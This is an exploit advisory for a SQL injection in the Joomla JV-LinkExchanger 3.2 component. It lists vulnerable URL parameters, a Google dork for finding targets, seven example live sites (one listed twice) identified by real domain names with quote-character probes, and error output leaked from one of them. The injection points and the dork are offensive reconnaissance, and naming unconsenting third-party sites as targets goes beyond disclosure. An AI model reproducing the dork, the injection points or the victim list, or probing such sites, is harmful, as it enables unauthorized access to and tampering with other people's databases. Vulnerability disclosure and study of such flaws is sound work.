Joomla JVLE JV-LinkExchanger 3.2 SQL Injection

2019.02.10
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

#################################################################### # Exploit Title : Joomla JVLE JV-LinkExchanger 3.2 SQL Injection # Author [ Discovered By ] : KingSkrupellos # Team : Cyberizm Digital Security Army # Date : 10/02/2019 # Vendor Homepage : jv-extensions.com # Software Download Link : jv-extensions.com/customer-orders-and-downloads # Software Information Link : extensions.joomla.org/extension/jv-linkexchanger-jvlinx/ .jv-extensions.com/blog/jv-linkexchanger-3-0-for-joomla-3-x-and-2-7-44-for-joomla-2-5 # Software Version : 3.2 + JV-LinkExchanger 3.0 for Joomla 3.x and 2.7.44 for Joomla 2.5 # Tested On : Windows and Linux # Category : WebApps # Exploit Risk : Medium # Google Dorks : inurl:''/index.php?option=com_jvle'' # Vulnerability Type : CWE-89 [ Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') ] # PacketStormSecurity : packetstormsecurity.com/files/authors/13968 # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/ # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos #################################################################### # Description about Software : *************************** JV-LinkExchanger (JV-LE) is a free and basic reciprocal link and banner exchange Joomla! extension. JV-LinkExchanger or JV-LE in short has all the elements required for a basic and successful link and banner exchange for Joomla websites. JV-LE provides the necessary screens, forms, logic, processing power, features, design and the flexibility to enable your Joomla website to exchange links with other Joomla and non-Joomla websites. #################################################################### # Impact : *********** Joomla JVLE JV-LinkExchanger 3.2 and other versions - component for Joomla is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. A remote attacker can send a specially crafted request to the vulnerable application and execute arbitrary SQL commands in application`s database. Further exploitation of this vulnerability may result in unauthorized data manipulation. An attacker can exploit this issue using a browser. #################################################################### # SQL Injection Exploit : ********************** /index.php?option=com_jvle&Itemid=[SQL Injection] /index.php?option=com_jvle&Itemid=[ID-NUMBER]&view=all_category_links&cid=[SQL Injection] /index.php?option=com_jvle&Itemid=[ID-NUMBER]&view=all_category_links&cid=[ID-NUMBER]&sby=[SQL Injection] /index.php?option=com_jvle&Itemid=[ID-NUMBER]&view=all_category_links&cid=[ID-NUMBER]&sby=&jsn_setmobile=yes&jsn_setmobile=[SQL Injection] /index.php?option=com_jvle&Itemid=[ID-NUMBER]&task=all_category_links&cid=[ID-NUMBER]&sby=[SQL Injection] #################################################################### # Example Vulnerable Sites : ************************* [+] junmuaythai.com/index.php?option=com_jvle&Itemid=95&view= all_category_links&cid=3&sby=&jsn_setmobile=yes&jsn_setmobile=1%27 [+] pinecountryrestaurant.com/index.php?option=com_jvle&Itemid=222%27 [+] autocarscarrera.es/index.php?option=com_jvle&Itemid=102 &view=all_category_links&cid=2&sby=1%27 [+] astoria-tirol.at/index.php?option=com_jvle&Itemid=232%27 [+] rentamax.mx/index.php?option=com_jvle&Itemid=1%27 [+] pinecountryrestaurant.com/index.php?option=com_jvle&Itemid=222%27 [+] senkovs-handwerker.de/index.php?option=com_jvle &Itemid=125&task=all_category_links&cid=3&sby=13%27 #################################################################### # Example SQL Database Error : ***************************** Strict Standards: Only variables should be assigned by reference in /home /webtodolocal/webapps/rentamax/administrator/components/com_jvle /common/jvle.resources.php on line 70 Strict Standards: Declaration of JvleController::display() should be compatible with JController::display($cachable = false, $urlparams = false) in /home/webtodolocal/webapps/rentamax/components/com_jvle/controller.php on line 31 Deprecated: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead in /home/webtodolocal/webapps /rentamax/libraries/joomla/filter/input.php on line 652 #################################################################### # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team ####################################################################


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